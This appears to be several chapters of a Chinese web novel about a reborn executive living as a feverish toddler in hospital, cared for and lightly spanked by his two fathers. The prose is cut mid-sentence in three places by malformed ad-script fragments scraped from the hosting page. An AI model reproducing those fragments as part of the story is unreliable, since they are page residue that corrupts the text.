第三,截至目前,江知鱼对他还不错。他可以报答江知鱼,可以帮助江知鱼和冷漠无情的配偶离婚,带着他一起离开那个冰冷的家庭,也可以帮江知鱼养老。 每个月就给他……一万块好了。 足够支撑他的日常生活,但不足以供他肆意挥霍。 不过—— 陆傲抬起头,环顾四周。 江知鱼去哪里了?醒来之后就没看见他。 他不会又跑出去玩了吧?他就这么迫不及待? 张大爷看见他这副模样,连忙问:“小少爷,怎么了?” 陆傲收回目光:“没事。” “小少爷在找先生吗?” “才没有找他。” “先生去……” “不用跟我说,我不想知道!” 陆傲直接打断了他的话。 他握紧拳头,决定把江知鱼的养老待遇下调成一百块/一个月! 算了,一个月一百块可能吃不饱。而且,中午他们因为拖鞋的事情吵架,他也有不对的地方。 江知鱼照顾了他一整天,出去散散心也情有可原。 那就给他九千九百九十九块/一个月好了! 8. 梦游 8 ——讨厌的江知鱼,我都生病了,还跑出去花天酒地。 ——但他确实在医院里陪了我很久,足足一个早晨,加一个上午,再加一个中午! 陆傲特意把早晨、上午和中午拆开来说,这样显得江知鱼陪他的时间更长。 其实……江知鱼也不是特别讨厌。 他在心里对自己说,如果江知鱼能在今天晚上十二点之前赶回来,那他就原谅江知鱼,并且给他每个月一万的养老金。 如果江知鱼没能回来,迟到一个小时,扣一块钱,扣完为止! 陆傲还想设立“养老考勤”制度。 假设江知鱼的基础养老金是每月一万,在这个基础上,江知鱼陪他一个小时,他就奖励江知鱼一千块钱。 奖励无上限,要是江知鱼一天二十四小时都陪他,那他就可以拿两万四千块钱。 江知鱼肯定特别喜欢这项制度,天天陪着他,就算去夜店酒吧也要带着他。 咳咳,当然,陆傲本人是绝不可能会去这种地方的! 虽然还没赚到钱,但陆傲已经在心里给爸爸画上大饼了。 他连拼图也不玩了,小手撑着头,像一个沉思者,美滋滋地幻想着被江知鱼贴身陪伴的美好生活。 请不要误会。 他只是想雇佣江知鱼,贴身照顾自己而已。 这本质上是一种雇佣关系,而不是亲子关系。 他还没有原谅江知鱼…… 话还没完,一声轻响传来,病房门被人从外面推开。 陆傲的思路被打断,他抬起头,看向门外。 只见江知鱼背着一个双肩包,抱着手,靠在门框上。 陆傲眼睛一亮,但很快又调整表情,把翘起来的嘴角压了下去。 江知鱼走进来:“嗷,我在外面看了你半天了,你怎么一会儿哭、一会儿笑的?脸抽筋了?” “有一点。”陆傲是绝对不会承认,自己是在想他的。 江知鱼揉揉他的小脸蛋:“那现在呢?” “已经好了。”陆傲推开他的手,抬起头,一脸严肃地看着他,“你去哪里了?” “回家收拾东西,我也要换衣服。” 上午张大爷回去的时候,只收拾了陆傲的衣服和玩具,还有他自己的衣服,他当然不好乱动江知鱼的东西。 江知鱼就只能等陆傲睡着了,让张大爷过来看着他,自己再回家一趟。 “嗯。”陆傲明白了。 看来是自己误会了,江知鱼并没有去花天酒地。 江知鱼把带来的双肩包放进隔壁的陪护病房。 陆傲忽然想起什么,又问:“你有没有给我带不会叫的拖鞋?” “啊?我给忘了!”听他这么说,江知鱼这才想起来,回过头,一脸抱歉地看着他,“不好意思,嗷嗷。” 陆傲一脸无奈。 江知鱼说话就说话,还装可爱。 他别过头,看向摆在地上的塑料小拖鞋。 看来还要多穿几天。 江知鱼放好东西,又洗了手,才走回病床边。 他看见摆在床铺上的拼图:“你在玩拼图啊?” “没有。”陆傲下意识把拼图拿远一点,“这种幼稚的玩具,我才不爱玩。” 江知鱼笑了笑,拿起拼图:“那爸爸来打乱,你试一下能不能拼好。” “才不要,我……” “你怕了。” “我才不怕!”陆傲信誓旦旦,“你尽管打乱!” 江知鱼把打乱的拼图递给他,陆傲简单看了一眼,不到三分钟就拼好了。 “哇,这么厉害啊?” “那当然了。” “那这次我要背对着你打乱,你不许偷看。” “请便!小偷小摸的事情,我才不屑去做!” 第二次,江知鱼背对着陆傲打乱拼图,陆傲反倒提早完成了。 “真的这么厉害吗?不行,再来一次,这次我要掐秒表计时。” “放马过来!” 很简单、很普通的九格拼图,父子二人凑在一起,竟然一起玩了快一个小时。 * 江知鱼回来的时候,就已经是四点快五点了。 他接替了张大爷的工作,陪陆傲玩玩具。 张大爷则去了厨房,开始准备晚饭。 到了傍晚六点,家家户户都飘出饭菜的香气。 他们的晚饭也做好了。 香喷喷、热腾腾、软乎乎的手擀粗面,再配上新鲜现炒的番茄炒蛋。 用筷子充分搅拌均匀,让每根面条都沾上香浓的番茄汤汁,一口下去,面条□□弹弹,鸡蛋蓬松微焦,还有无处不在的酸酸甜甜番茄味。 陆傲围着懒羊羊口水兜,握着青草沙拉儿童筷——和青草蛋糕儿童勺配套的餐具,又吃了两大盆。 好吃!比西餐还好吃! 吃完晚饭,陆傲再看半个小时的《晚间新闻》,医生护士过来给他检查身体。 和中午的流程一样。 不过这回,他们没有再用那种哄小孩的夸张语气,跟他说话。 这一次,他们就像是对待成年人一样,言简意赅地告诉他该怎么做。 陆傲还是更喜欢这种检查方式,上午那次检查,害得他起了一身鸡皮疙瘩,好久都没消下去。 就是不知道他们为什么会忽然改变检查方式,可能是……有人特意提醒过他们了吧。 江知鱼抱着手,站在人群最外围,一脸好笑地看着陆傲。 检查结束,医生收起听诊器,还是差不多的医嘱。 不过这次,他没有对着江知鱼说,而是直接告诉陆傲。 “小朋友,你的情况已经稳定很多了,但还是要多多休息,按时吃药。晚上如果不舒服,要告诉爸爸,或者按床头的按钮。” “我知道了,谢谢。” 陆傲微微颔首,又朝医生伸出手。 医生皱着眉头,反应了一会儿,试探着握住他的手。 两个人交握的手上下晃了晃,陆傲正色道:“辛苦了,明天见。” 医生弯下腰,远远不如陆傲有气场:“不……不辛苦,您好好休息,我明天再来看您。” 他甚至不自觉用上了尊称。 离开病房的时候,医生挠着头,脚步虚浮,整个人看起来晕乎乎的。 这孩子怎么跟小大人似的?这一下真给他整不会了。 好晕啊,感觉言行不受自己的控制。 医生护士走后,江知鱼终于忍不住笑出声,摸摸陆傲的小脑袋:“崽,你什么时候练成了化骨绵掌?医生叔叔都快被你握晕了。” 陆傲板着小脸,实话实说:“这是最基本的社交礼仪。” “你怎么一点幽默细菌都没有?” 陆傲没有说话,直接朝江知鱼伸出手。 江知鱼疑惑,也试探地朝他伸出手:“和爸爸也要握手吗?你想把爸爸也捏晕吗?” 陆傲无奈扶额:“时间差不多了,晚上的药给我。” “噢。”江知鱼收回手,把绿色小药片给他,“第一次看见主动要吃药的小崽崽。” 陆傲直接把药片丢进嘴里,面无表情地咽下去:“我还能再吃一百片。” “不许骗吃骗喝。” “……” 陆傲扯了扯嘴角。 江知鱼,真幽默,浑身都是幽默细菌。 吃完药,再休息一会儿,江知鱼就带着陆傲去卫生间洗澡。 江知鱼举着花洒,蹲在小脸盆前,往里面放了半盆温水。 他用手试了一下水温,觉得差不多了,就把花洒关掉,随口问:“你要自己洗,还是爸爸帮你洗?” 江知鱼一边问,一边回过头,见陆傲双手捂着衣领,一脸戒备地站在卫生间门外,马上就明白了。 霸总要自己洗澡! 霸总绝对不能被别人看光光,就算是爸爸也不行! “那你自己洗。”江知鱼叮嘱他,“今天没怎么出汗,也没出门,不用洗得太认真,随便擦一擦就好了,从上到下,从里到外。你会拧毛巾吧?” “当然。” “好,爸爸在外面给你加油!” “不需要。” 卫生间的门关上,陆傲挽起衣袖,在小脸盆前面蹲下。 他捞起毛巾,用力拧干之后,先洗了把脸。 门外传来江知鱼“做作”的声音 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' :“加油,努力,洗澡要用力!” 陆傲用毛巾捂着脸,试图逃避现实。 他的爸爸怎么会如此幼稚? 沉默五秒,陆傲才鼓起勇气,抬起头,把病号服脱掉。 他现在矮墩墩的一只,把全身上下都擦一遍,三分钟都不用。 擦完身子,他就走到放衣服的架子旁,穿上衣服。 江知鱼特意把衣服放在最低的架子上,他一抬手就能拿到。 干净的病号服,还有小怪兽的小裤裤。 陆傲一鼓作气,闭上眼睛,把衣服套上,然后拉开卫生间的门。 江知鱼就在门口等他,见他出来了,鼓掌欢迎:“欢迎欢迎,欢迎洗澡小勇士凯旋!” 陆傲努力压住嘴角,昂首挺胸地从江知鱼面前走过去。 江知鱼摸摸他的后脑勺,确认他没有弄湿头发,就让他上床睡觉。 陆傲却对他说:“我不困,白天睡太久了。” 江知鱼故意问:“那该怎么办呢?你还想玩拼图吗?” “不想,我不想玩。像中午一样——” 陆傲爬上病床,盖好被子,乖乖躺好,声音却很小很小,像蚊子哼哼一样:“拍我。” “噢——”江知鱼故意拖着长音,“想让爸爸拍你啊?那你说‘爸爸真帅’。” 陆傲深吸一口气,拽着被子,翻了个身,背对着他:“我自己睡。” 江知鱼笑着追上前去,拍拍他的后背,还给他唱催眠曲:“宝宝睡吧,宝宝睡吧——” 陆傲捂着耳朵,勇敢控诉:“不要唱了!江知鱼,你五音不全!我要听古典乐!” “没有古典乐,但爸爸可以用美声给你唱催眠曲。”江知鱼唱得更起劲了,“嗷嗷——爸爸陪你入睡——” 在爸爸跑调的歌声中,陆傲…… 再一次很诚实地睡着了。 魔咒……这一定又是魔咒…… 江知鱼是个魔法师。 * 好不容易把陆傲哄睡,江知鱼松了口气,伸了个懒腰,站起身来。 他摸黑走出病房,轻手轻脚地把门关上,然后去了隔壁的陪护病房。 两个房间离得很近,陆傲晚上有什么动静,他很快就能发现。 护士晚上也会来查房,给陆傲量体温。 所以不用太担心。 江知鱼先去浴室冲了个快澡,然后瘫在床上,把自己埋进被子里。 累了一天,终于可以放松一下了。 他拿起手机,看了一眼。 八点多快九点的时候,陆行渊给他发了消息,说飞机已经到机场了,他现在马上坐车回去,车程估计还要一个多小时。 所以陆行渊让他不用等自己,先睡觉。 江知鱼把医院地址和病房号发给他,然后打开视频软件,刷刷小猫小狗。 可他实在是太累了,刷了没两个视频,眼睛就闭上了,手也放下了。 手机自动息屏,江知鱼躺在床上,睡了个天昏地暗。 不知道过了多久。 夜深人静,万籁俱寂。 安静的病房中,忽然响起一声—— 嘎吱—— 江知鱼烦躁地蹬了下床,拽着被子,盖住头顶。 什么动静?谁大晚上的吹小号? 紧跟着—— 嘎吱——噗啾—— 嘎吱——噗啾—— 江知鱼更烦了。 哪里来的小鸭子?医院里怎么会有…… 下一秒,江知鱼从床上坐起来。 不对,这好像不是小号,也不是小鸭子,这是陆傲的“叫叫鞋”! 他连忙下床,冲到病房外。 黑暗的病房里,亮着一盏小灯。 陆傲一步一嘎吱,先走到行李箱边,找到张大爷带过来的绘本和水彩笔,然后拿着东西,走到茶几边,坐下写字。 江知鱼站在门外,想要进去,却又害怕陆傲是在梦游,自己贸然闯进去,把陆傲吓到。 不过…… 陆傲也太听他的话了。 他只跟他说了一次,不能光着脚踩地板。 陆傲就牢牢记在心里,连梦游都没忘记穿鞋。 9. 打屁屁 9 深夜十一点。 夜风从江知鱼特意留下的窗缝中吹进来,轻轻拂动浅蓝色的窗帘。 陆傲平躺在病床上,双眼紧闭。 他在江知鱼温柔的轻拍和跑调的歌声中入睡。 一开始,他确实睡得很香。 他感觉自己好像躺在一片柔软的云朵上,暖暖的阳光照在他身上,还有小海鸥扑腾着翅膀,从他身边飞过。 小云朵载着他,飘啊飘,飘过沙漠,飘过平原,飘过爸爸的头顶。 爸爸抬头看他,笑着说:“崽,你不仅会化骨绵掌,还会轻功呀?” 陆傲躺在云朵上,翘了翘脚,很是得意:“那当然了。” 可是下一秒,云朵在一片无边无际的大海上空停下。 乌云密布,海浪汹涌,和他前世自杀时的天气一模一样。 身下云朵散开,陆傲来不及挣扎,直直地掉进海里,被海水淹没。 梦里的海水不是冰凉的,而是滚烫的。 海水像一锅烧开的水,咕嘟嘟地冒着大气泡。 陆傲则像一只小馄饨,扑腾着双手双脚,在锅里游来游去,随时可能被煮熟。 就在这时,江知鱼再次出现。 他站在锅边,好像戴上一张冷漠无情的面具,总是含笑的眼睛冷了下去。 他的表情冷冷的,声音也冷冷的。 他说:“陆傲,你真是太没用了!我生你下来,就是为了拴住陆行渊的心,让他多给我一点钱,结果你一分钱都要不到,真是没用!” 陆傲睁大眼睛,不敢相信地看着他。 他想说,他以后也会很有钱的,他也会给爸爸养老的,爸爸不要把他煮熟吃掉。 可是他一句话也说不出来。 他做不出这种跪地求饶的事情。 这时,江知鱼又拿出一柄青草蛋糕小叉子,对准他:“没有用的小馄饨,我要把你叉起来吃掉!” 紧跟着,好像又有一个人来了,江知鱼马上换上献媚讨好的语气:“亲爱的陆总,你来啦?我正要吃小馄饨呢,您也来一口?” 陆行渊冷漠无情的声音传来:“好。” 江知鱼和陆行渊一起举起叉子,叉子的阴影,笼罩在陆傲的头顶。 “没有用的小孩,就要被爸爸和大爸爸吃掉!” “喔!喔!喔!” 走开!走开啊! 可恶的爸爸,可恶的大爸爸,走开! 我永远都不会相信你们,我再也不会被你们欺骗了! 滚开—— 陆傲挥舞着双手,挣扎着,从噩梦中清醒过来。 他猛地从床上坐起来,病号服已经被汗水浸透,甚至他刚才躺过的地方,还有一块小小的水渍。 他…… 陆傲抱着被子,环顾四周,这才反应过来。 他这是在医院病房里。 他抬起手,摸了一下额头。 很烫,烫得他脑袋嗡嗡的。 难怪医生检查的时候,跟他说晚上病情可能会反复。 难怪他会做梦,梦见自己在开水锅里游泳。 陆傲从床上爬起来,准备按下床头的红色按钮,让值班护士过来。 就在他即将按下去的时候,他忽然感觉一阵头晕。 他用力地甩了甩脑袋,想要恢复清明的意识。 可是他的脑袋像一团乱麻,他什么也想不起来,什么也记不清。 他捂着脑袋,试图从乱麻里捋出一点头绪。 我叫陆傲,我今年二十八岁……今年三岁……二十八岁…… 我爸爸叫江知鱼,大爸爸叫陆行渊,我家住在…… 江知鱼和陆行渊都是坏人……酱汁鱼和路圆圆都是…… 陆傲抬起头,当机立断,猛地收回了手。 不行,现在还不能让护士过来。 他的脑子越来越乱,他好像要忘记很多事情了。 他必须在护士过来之前,把重要的事情都记下来。 否则他岂不是白白重生了? 陆傲扶着栏杆,跳下床铺。 他一脚踩在拖鞋上,“嘎吱”一声巨响。 陆傲愣了一下,用自己乱七八糟的小脑袋开始思考。 ——这个拖鞋这么吵,肯定会被发现的。 ——可是爸爸说,不可以光着脚在地上走,会有小虫子爬进喉咙里。 ——那还有其他拖鞋吗? ——没有。 那就穿这双拖鞋好了。 不管怎么样,爸爸说的话,就是法律,必须遵守! 陆傲穿上拖鞋,嘎吱嘎吱地跑了出去。 他先跑到装玩具的行李箱旁边,张大爷给他拿了玩具,也没再把行李箱合上,就这样摊开放着,让他想玩什么就拿什么。 现在倒是方便了陆傲。 他找到一本绘本,又找到一盒二十四色水彩笔。 他拿着东西,在病房里转了一圈,最后打开茶几旁边的壁灯,在茶几前坐下。 陆傲打开绘本,找到留白比较多的一面,然后拿出黑色的水彩笔,握着笔,开始写字。 “爸爸……” 他的手太小了,握不住水彩笔,更无法完全控制。 写出来的字不仅歪七扭八,而且巨大无比! 但没办法,他还得继续写,念一个字写一个字,一笔一划地写,确保自己不会写错。 “爸爸很坏。” “大爸爸也很坏。” 翻过一页,继续写。 “不要爱……爱……” 等一下,“爱”字怎么写?他一时间想不起来了。 算了,陆傲直接写下一行:“股市、黑客、离婚……” “离婚”又怎么写? 算了,跳过。 他接下来要写什么来着? 他140智商的脑袋怎么这么不好用? 陆傲握着水彩笔,用力砸了一下桌面,怒骂一声:“可恶!” 可恶! 他话音刚落,病门房就被人推开,熟悉的声音再次传来。 “陆傲,你不睡觉在干什么?” 江知鱼听见“叫叫鞋”的嘎吱声,在门外观察了几分钟,还以为陆傲是在梦游,不敢贸然闯进去。 他刚准备去找医生,就看见陆傲坐在茶几前面写字,还骂了一句“可恶”。 天杀的,江知鱼一眼就看出来,这根本不是梦游! 陆傲背对着门口,身形一僵。 但他没有回头,而是继续握紧水彩笔,奋笔疾书! 他要争分夺秒! 见他不理自己,江知鱼提高音量,一边喊,一边走进病房:“嗷嗷?陆嗷嗷?睡不着吗?还要拍拍吗?” 陆?嗷?嗷? 这下子,陆傲奋笔疾书的手停下了。 他不敢相信地抬起头,重复这个名字:“陆、嗷、嗷……” 一瞬间,他好像明白了什么。 “嗷嗷”是他的名字! 江知鱼每说一句话,都要带上一个“嗷嗷”,他不是在装可爱,他是在喊他! 他的小名叫“陆嗷嗷”! 陆傲再次捶桌,霸总发言:“该死!” 他的名字怎么会这么难听? 就在这时,江知鱼走到他身边,一伸手,像拔萝卜一样,费力地把他从地上拔起来。 “快点睡觉,你还在……”江知鱼顿了一下,察觉到病号服下源源不断传来的热意,“怎么回事?你身上怎么这么烫?爸爸看一下。” 陆傲疯狂扭动,用力挣扎,不愿意让他摸自己的额头:“走开!不要管我!我不是馄饨,就算我已经被煮熟了,那你也不能吃我!” “什么乱七八糟的东西?谁说你是馄饨了?” 江知鱼试图按住他,陆傲却像一只上岸的小小鱼,力气大得出奇,整只崽又滑溜溜的,根本抓不住。 “陆嗷嗷,你又发烧了。别乱动,爸爸去喊医生来。” “我没事,我还能坚持!不要打扰我处理公务!” “什么东西?不管是什么东西,都明天再 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 处理……” 混乱之中,江知鱼低下头,借着壁灯的光亮,仔细一看。 只见色彩鲜艳的绘本上写着两行大字—— 【爸爸很坏】 【大爸爸也很坏】 而此时,陆傲好像也发现他在看了,向前探出身子,要把绘本合上:“不许看!” 下一秒,江知鱼双手抱住他。 直接带走! 江知鱼按下病床前的按钮,然后抱着陆傲,坐在床上,等医生护士过来。 陆傲还在扑腾:“我要做股市神之手,华尔街之狼!松开我!” 江知鱼低头看了他一眼,深吸一口气,努力平复心情。 忍住,忍住,这小崽崽发烧了。 “我不要做爸爸和大爸爸的孩子了,我要做独立自强的龙傲天……陆傲天宝宝!” 江知鱼努力深呼吸。 冷静,冷静,这也是一个不错的志向。 “今日受此奇耻大辱,来日我必定百倍千倍……” 忍不了了! 江知鱼一把抓住陆傲,把他按在自己腿上。 “啪啪”两声轻响,爸爸的手无情地落在他的屁屁上。 “陆嗷嗷,你霸总小说看太多了?我数到三,马上恢复正常!一——” “啊……区区小伤,一点都不痛。” “陆傲,爸爸真的生气了!” “那就断绝关系好了!” 话音刚落,整个病房都安静了一瞬。 江知鱼不敢置信地看着陆傲。 陆傲因为发烧,小脸烧得通红,眼睛里分泌出黄色的眼屎,糊住他的双眼。 但他还是努力睁开眼睛,摆出架势,和江知鱼对视。 江知鱼反应过来,反手把他放在床上,头也不回地出去了。 陆傲看着他离开的背影,“唰”的一下,脑袋里滚烫的热意,迅速消退下去。 他好像……把爸爸气跑了…… 爸爸应该不会再回来了吧? 没关系的,反正他早就想……他早就…… 涌上来的眼泪把眼屎冲掉,陆傲低下头,揉了把眼睛。 下一秒,江知鱼又冲了回来。 他……他一手拿着手机,一手把陆傲从床上拎起来,牢牢按在怀里。 电话接通,江知鱼朝对面大喊一声:“陆、行、渊!” 喊得太大声,江知鱼胸腔震动,连带着陆傲也跟着抖。 “你到哪里了?九点就说快到了快到了,结果十一点还没到!你马上给我滚回来!你平时都教了陆嗷嗷什么东西?!” 电话那边传来呼啸的风声和急促的脚步声,男人的声音却小心翼翼的:“老婆,再给我十秒钟,我在路上了。” 江知鱼握紧手机:“十!九!八!” 与此同时,走廊上也传来了杂乱的脚步声。 应该是值班的护士要过来了。 “七六五四三二一!” 江知鱼一口气把十个数倒数完。 话音刚落,身形高大的男人出现在病房外。 他原本穿着西装,但是在来的路上,就已经把西装外套丢掉了。 他只穿着白衬衫和黑西裤,一只手扶着门,神色还算平静,只有起伏的语气出卖了他。 “老婆!儿子!” 壁灯光线不亮,江知鱼抱着陆傲,父子二人看着他,脸上是一模一样的表情。 江知鱼气得不行,你到现在才回来!陆傲都要和我们断绝关系了! 陆傲面无表情,这就是陆行渊?这就是冷漠无情的大爸爸?这就是…… 趁着江知鱼放松警惕,陆傲挣脱他的束缚,直直地朝陆行渊冲去! 吃我一头! “诶……” 江知鱼还没来得及喊,陆行渊张开手掌,挡住陆傲的脑袋,然后反手一提,像抓狗崽一样,直接把陆傲提起来,夹在手臂下面。 陆行渊试探地询问:“老婆,该怎么办?” 江知鱼一挥手,毫不留情:“打!打屁屁!” 10. 鼓励(有修改) 10 冷漠无情的大爸爸,冷漠无情的大巴掌。 冷漠无情地落在陆傲的屁屁上。 陆傲被大爸爸抓着,拍一下屁股,两只脚就蹬一下。 “不痛!一点都不痛!” “陆行渊,你吃饭了吗?” “放马过来!十八年后,我又是一条霸总!” 陆行渊被他的话弄得一头雾水,微微皱着眉头,但还是严格执行老婆的命令,一下一下地拍着他的屁股。 江知鱼默默数着次数,估摸着陆行渊打了快五下,便站起身来,喊了停。 “可以了,今天先打到这里。” 江知鱼走到陆傲面前,伸出手,按住陆傲的脑袋,一巴掌拍在他的额头上。 直到现在,江知鱼才终于摸到他的额头。 果不其然,和今天早上一样烫! 今天早上,陆傲胡闹一阵就晕过去了,江知鱼才能把他送到医院里来。 结果现在,他经过一整天的休养,吃得饱饱的,睡得饱饱的,精神养得足足的,一闹起来就没完了! 江知鱼原本板着脸,想要凶他两句。 但是他低下头,看见陆傲通红的小脸和眼泪汪汪的双眼,到底没能狠下心来。 江知鱼捧着陆傲的脸,用拇指揩去他眼角的眼泪和眼屎,语气严肃:“陆嗷嗷,你都快被烧熟了……” 听见“陆嗷嗷”这个名字,陆傲马上就有了反应。 他弹起来:“不许这样叫我!” “好好好,陆傲。你都烧到胡言乱语了,还要和爸爸作对?” “我没有胡言乱语!” “那爸爸和你到底有什么深仇大恨?你要这样欺负爸爸?” “我没有欺负……”陆傲顿了一下,“明明是你欺负我!你都要把我吃掉了!杀父之仇,不共戴天,我必报仇!” 还说没有说胡话。 他的两个“父”都好端端地站在他面前,他还说“杀父之仇”。 江知鱼扯了一下嘴角,维持着爸爸的耐心,耐着性子哄他:“你想要报仇,就要好好养病,好好看医生,不许再乱动,知道了吗?” 陆傲梗着脖子不说话。 软的不行,江知鱼就来硬的。 “再乱动,就让大爸爸继续打你!把你打成翘屁嫩崽!” 可恶,他真的好坏啊! 陆傲不情不愿地应了一声:“嗯……” 江知鱼朝走廊上看了一眼。 就在这时,听见铃声的医生护士,终于推着车子,火急火燎地赶过来了。 其实他们来得很快,从江知鱼按铃,到他们过来,才过了不到三分钟。 主要是陆傲太能闹腾了。 三分钟被他闹出了三十分钟的架势,江知鱼只觉得度秒如年。 “怎么了?江先生,发生什么事了?” 医生护士终于到了面前。 江知鱼指了一下陆傲:“他又发烧了,再给他来一针。” 陆傲震惊抬头,大喊一声:“江知鱼!” 陆行渊皱着眉头,按住他的脑袋,说出了他们见面之后的第三句话:“陆傲,不许直呼爸爸的大名。” 陆傲像一头小狼崽子,凶巴巴地瞪着他,要你管? 你不在的时候,我都喊了几百遍了。 哼,现在才来装“好丈夫”、“好爸爸”,晚了! 江知鱼一伸手,截断父子二人之间滋啦滋啦的高压电流。 “陆行渊,把他放到病床上去,让医生检查一下。” “陆傲,不许再乱动了,再乱动就用床单把你绑起来。” ——“好。” 父子二人同时应了一声,然后别开交汇的目光,按老婆/爸爸说的做。 陆傲握着拳头,躺在病床上,雏鹰一般锐利的双眼,紧紧地盯着陆行渊。 他讨厌陆行渊,比讨厌江知鱼还讨厌。 见到他的第一眼就讨厌。 没能在见到他的第一眼,就把他撞翻,是他的一大遗憾。 人群之中,陆行渊同样毫不客气地回看过去,然后…… 然后他牵起了江知鱼的手! 不许牵手! 陆傲忽然生气,下意识要从病床上爬起来阻止,结果被医生护士抱了回去。 “小朋友,别担心,医生给你检查一下,很快就好了。” 江知鱼冷下语气:“陆傲,我刚刚怎么跟你说的?躺好。” 陆傲深吸一口气,小胸脯起起伏伏,但还是乖乖躺了回去。 躺好就躺好。 陆行渊与江知鱼并肩而立,怕妨碍医生检查,就站在病床边。 但他们都不是陆傲梦里的冷漠表情。 江知鱼一脸担心,关切地看着陆傲。 陆行渊则张开手掌,把江知鱼的手握在手心里。 他低下头,轻声安慰江知鱼:“小鱼,没事的。” 只一句话,江知鱼就没忍住红了眼眶。 他别过头,有意控制着音量,不让陆傲发现:“你不知道,嗷嗷早晨也是这样,像一颗小导弹,到处乱跑,到处撞人,现在比早上更严重,吓死我了。” 可恶!他竟然让江知鱼哭了!他到底是怎么做老公的? 陆傲咬牙切齿,恨不得再冲上去撞一下陆行渊。 江知鱼抹了把眼睛:“吓死我了。” 陆行渊搂住江知鱼的肩膀,还是那句话:“没事的,有我在,嗷嗷会好的。” 陆傲脱了力,倒回床上,紧咬的牙关终于松开。 原来是他……让爸爸哭了啊。 * 凌晨十二点。 陆傲的情况终于稳定下来,躺在床上睡着了。 张大爷和医生护士一起,退出房间,只留下江知鱼和陆行渊两个人,并肩坐在床边的沙发上,守着陆傲。 两个人都没有说话,安安静静的。 只有交握的双手始终握得紧紧的,不曾松开。 为了陆傲睡得安稳,病房里连灯都没开,窗外乌云蔽月,月光也没有,整个世界灰蒙蒙的。 不知道过了多久,江知鱼才转过头,看向陆行渊。 陆行渊匆匆忙忙赶回来,西装外套不知是丢在飞机上,还是丢在车上了,就穿着一件薄衬衫。 原本打理得一丝不苟的头发早就乱了,垂落下来,散在额前。 察觉到江知鱼在看自己,陆行渊也转过头,静静地看着他。 终于,江知鱼轻轻地开了口,用气声对他说:“嗷嗷应该能安静一会儿。我下午回家的时候,顺便拿了两件你的衣服,你要不要去洗个澡,休息一下。” 陆行渊摇头,仍旧紧紧地握着他的手,也低声问他:“小鱼,你 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 困不困?” “我不困。”江知鱼也摇头,“八点多就睡了,一直到十一点,嗷嗷醒了我才醒。” “那你回去继续睡。我正好倒时差,不用睡觉。” “胡说,倒时差就是要睡觉。” 小夫夫僵持不下,谁也不想去睡觉,就只好继续像Q.Q糖一样黏在一起,守着陆傲。 陆行渊拿了毯子过来,把江知鱼整个儿裹起来,又把他抱起来,放在软乎的沙发上,好让他坐得更舒服些。 忽然,陆行渊低声道:“小鱼,你哭了。” 江知鱼梗着脖子,也不看他,更没有回答。 陆行渊继续道:“上午跟我打电话的时候,你哭了,我听出来了。” 江知鱼别过头去,低下头,把脸埋进毯子里。 “你受伤了。”陆行渊语气笃定,“不止是摔倒,陆傲是不是撞你了?” 江知鱼惊奇问:“你怎么知道?” “他刚刚还想这样撞我。” “噢。” 也是,刚才陆行渊一出场,陆傲就挣扎着要冲上去,用脑袋把他撞翻。 不难猜到,陆傲肯定也这样撞过江知鱼。 陆行渊伸手要扯他的毯子:“给我看看。” 江知鱼拍开他的手:“看个屁,不许看,嗷嗷还在这里呢。” 陆行渊不说话了,江知鱼便撑开裹在身上的毯子,分了一半,披在陆行渊的身上。 “别担心,我没事。当时是被嗷嗷吓到了……就是……不是因为疼才哭的,嗷嗷没什么力气,是因为……” 隔着手机,江知鱼尚且可以掩饰一二,但是他们现在面对着面,贴在一起,他就乱了方寸。 “反正……” 江知鱼终于演不下去了。 “呜呜——嗷嗷的力气太大了,简直像一头牛,他忽然冲上来,我感觉我的肋骨都断了。你又在国外,我一个人根本按不住他,吓死我了,呜呜——” 陆行渊抱住他,摸摸他的脑袋。 “他还说要和我断绝关系,气死我了。等嗷嗷病好了,你帮我架住他,我一定要撞回来!” “好。” “你也是,早不出差晚不出差,偏偏这个时候出差。”江知鱼揪住他的衣领,“你发誓,以后不许再出差,就算出差也要当天去当天回!” 陆行渊配合地举起右手:“我发誓。” 两个人相互依偎着,挤在病床前的小沙发上。 比起单纯的暧昧,他们更像是在互相取暖,给对方勇气。 “小鱼,这次出国,我把所有事情都处理好了,以后再也不用出差了。就留在这里,我和你,过平静的生活。” “嗯……”江知鱼忽然感觉不太对劲,吸了吸鼻子,“等一下,嗷嗷呢?” 陆行渊还没消气,但老婆提了,他也不好违抗,只能不情不愿地把陆傲加上去:“我和你,还有陆傲。” 不知不觉间,江知鱼靠着他睡着了。 陆行渊扯了张纸,给江知鱼擦擦眼泪,又在他的额头上落下轻轻一吻。 没多久,护士进来给陆傲测量体温,陆行渊上前帮忙。 护士走后,陆行渊伸出手,在陆傲的额头上弹了一下。 为老婆报仇。 就在这时,夜风吹过,乌云散去。 皎洁的月光,照进病房里。 11. 恢复清醒 11 早上七点。 金灿灿的阳光透过淡蓝色的窗帘,照进病房里。 陆傲躺在床上,江知鱼蜷着身子,窝在沙发上。 父子二人睡得正香。 忽然,不远处飘来一阵混合着虾仁、紫菜混合着葱油的香味。 江知鱼吸了吸鼻子,被香味勾醒,眼睛还没睁开,人已经站了起来。 他裹着毯子,像一只小幽灵,循着香气,一路飘到厨房。 “陆陆陆——行行行——渊渊渊——你在煮什么?” 厨房里,陆行渊不知道什么时候洗了澡,换了身干净舒适的家居服,接替了张大爷的工作,正围着围裙,在厨房煮早饭。 江知鱼飘到他身后,拖着长音:“给我吃一口——” 陆行渊握着木勺,在锅中轻轻搅动:“马上就好了。” “唔……”江知鱼困得不行,双手抱着陆行渊的腰,整个人挂在他的背上,闭着眼睛,再补一会儿觉。 又过了一会儿,陆行渊换了漏勺,捞起锅里的食物。 江知鱼好奇地从他身后探出脑袋:“你还没说你煮了什么……” 馄饨!是馄饨! 江知鱼一激灵,瞬间清醒过来。 他张开毯子,挡住陆行渊的锅,然后回过头,看向病房里,确认陆傲还没醒。 他惊慌失措:“陆行渊,我忘记告诉你了,我们家最近不能吃馄饨!” 陆行渊不解:“为什么?虾仁玉米馅,你最爱吃的,我亲手包的,很健康。” “和什么馅没关系,是陆嗷嗷。”江知鱼一本正经,“他昨晚以为自己是馄饨,要被我们吃掉,要是今天早上吃馄饨,他肯定以为我们在故意欺负他。” 